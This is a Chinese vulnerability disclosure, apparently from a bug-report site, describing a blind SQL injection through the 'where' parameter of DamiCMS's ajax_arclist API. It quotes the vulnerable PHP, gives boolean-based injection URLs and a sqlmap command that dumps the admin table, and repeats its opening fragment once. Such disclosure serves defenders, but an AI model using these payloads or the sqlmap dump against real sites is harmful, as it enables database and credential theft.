### 简要描述： 大米CMS某处SQL盲注第二发，可直接拖库 ### 详细说明： 文件/Web/Lib/Action/ApiAction.class.php ``` //万能获取数据接口 function ajax_arclist(){ $prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true; //表过滤防止泄露信息,只允许的表 if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();} if(!empty($_REQUEST['model'])){ if($prefix == true){ $model = C('DB_PREFIX').$_REQUEST['model']; } else{ $model =$_REQUEST['model']; } }else{ $model = C('DB_PREFIX').'article'; } $order =!empty($_REQUEST['order'])?$_REQUEST['order']:''; $num =!empty($_REQUEST['num'])?$_REQUEST['num']:''; $where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):''; //使where支持 条件判断,添加不等于的判断 $page=false; echo $_REQUEST['page']; if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page']; $pagesize =!empty($_REQUEST['pagesize'])?$_REQUEST['pagesize']:'10'; //$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用 $field =!empty($_REQUEST['field'])?$_REQUEST['field']:''; $m=new Model($model,"",false);...
### 简要描述： 大米CMS某处SQL盲注第二发，可直接拖库 ### 详细说明： 文件/Web/Lib/Action/ApiAction.class.php ``` //万能获取数据接口 function ajax_arclist(){ $prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true; //表过滤防止泄露信息,只允许的表 if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();} if(!empty($_REQUEST['model'])){ if($prefix == true){ $model = C('DB_PREFIX').$_REQUEST['model']; } else{ $model =$_REQUEST['model']; } }else{ $model = C('DB_PREFIX').'article'; } $order =!empty($_REQUEST['order'])?$_REQUEST['order']:''; $num =!empty($_REQUEST['num'])?$_REQUEST['num']:''; $where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):''; //使where支持 条件判断,添加不等于的判断 $page=false; echo $_REQUEST['page']; if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page']; $pagesize =!empty($_REQUEST['pagesize'])?$_REQUEST['pagesize']:'10'; //$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用 $field =!empty($_REQUEST['field'])?$_REQUEST['field']:''; $m=new Model($model,"",false); //如果使用了分页,缓存也不生效 if($page){ import("@.ORG.Page"); //这里改成你的Page类 $count=$m->where($where)->count(); $total_page = ceil($count / $pagesize); $p = new Page($count,$pagesize); //如果使用了分页，num将不起作用 $t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select(); //echo $m->getLastSql(); $ret = array('total_page'=>$total_page,'data'=>$t); } //如果没有使用分页，并且没有 query if(!$page){ $ret=$m->field($field)->where($where)->order($order)->limit($num)->select(); } $this->ajaxReturn($ret,'返回信息',1); } ``` 当满足这个条件时： ``` in_array($_REQUEST['model'],array('article','type','ad','label','link')) ``` where就被赋值了 ``` $where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):''; ``` 然后将where就带入SQL语句 ``` $count=$m->where($where)->count(); ``` 导致SQL注入 ### 漏洞证明： 标准的盲注： ``` http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=1 ``` [<img src="https://images.seebug.org/upload/201410/311811369eb3210bf92e5d54f56747cddf3a6a2e.png" alt="dami1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/311811369eb3210bf92e5d54f56747cddf3a6a2e.png) ``` http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=2 ``` [<img src="https://images.seebug.org/upload/201410/3118115027f4df1d63dca86c846f65d2ef4c2518.png" alt="dami2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/3118115027f4df1d63dca86c846f65d2ef4c2518.png) 用SQLmap跑一下数据： ``` python sqlmap.py -u "http://10.65.20.198/dami/index.php?s=/api/ajax_arclist/model/article/where/123*" -D "dami" -T "dami_admin" --dump -v 3 ``` 管理员账户信息： [<img src="https://images.seebug.org/upload/201410/31181409dd973f7865a3b50e5e0e5ebe90252576.png" alt="dami3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/31181409dd973f7865a3b50e5e0e5ebe90252576.png)
